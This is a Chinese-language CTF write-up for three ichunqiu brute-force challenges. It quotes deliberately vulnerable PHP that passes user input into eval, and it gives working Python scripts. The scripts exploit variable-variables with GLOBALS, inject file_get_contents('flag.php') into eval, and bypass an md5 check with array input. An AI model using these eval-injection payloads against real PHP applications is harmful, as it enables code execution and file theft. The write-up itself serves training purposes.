爆破1
題目提示:flag就在某六位變量中。點開題目鏈接顯示代碼:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
關鍵是這個東西var_dump($$a);
$$
的用法是這樣的:
$a = "b";
$b = "c";
echo $$a;
結果爲c。
所以這道題用GLOBALS超全局變量可以顯示所有變量,包括flag。
import requests
s = requests.session()
body = {"hello":"GLOBALS"}
r = s.post("http://1fe1250261664a54996fc71374eb484a2c3ae34ed42a4be5.game.ichunqiu.com/",data=body)
print s.content
爆破2
這次的題目提示:flag不在變量中。點開題目,同樣代碼:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
這次只有一個$
,很好,我們可以參照上題構造$$flag
,結果返回
string(20) "Too Young Too Simple"
呵呵:)就知道
源代碼中有提示存在flag.php,所以考慮用file_get_contents('flag.php')
:
import requests
s = requests.session()
body = {"hello":"file_get_contents('flag.php')"}
r = s.post("http://78dc948f35e9466789a9e0c974332c68a69f4df4deb94c0d.game.ichunqiu.com/",data=body)
print r.content
爆破3
源代碼:
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
重點就是這個判斷語句if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0)
,可以發現這個whoami最開始是ea,然後當和value前兩位相等時就變爲另一個隨機數,並輸出,所以我們每次獲取這個輸出的隨機數賦值給value就好,至於後半句,只要保證value爲數組,substr就會失敗,則等號成立。
import requests
url = "http://024911e020a5435ebb7b1cbe7af0427ccd3d7a8444b4491a.game.ichunqiu.com/?value[]=ea"
s = requests.session()
r = s.get(url)
for i in range(15):
url = "http://024911e020a5435ebb7b1cbe7af0427ccd3d7a8444b4491a.game.ichunqiu.com/?value[]=" + r.content[0:2]
r = s.get(url)
print r.content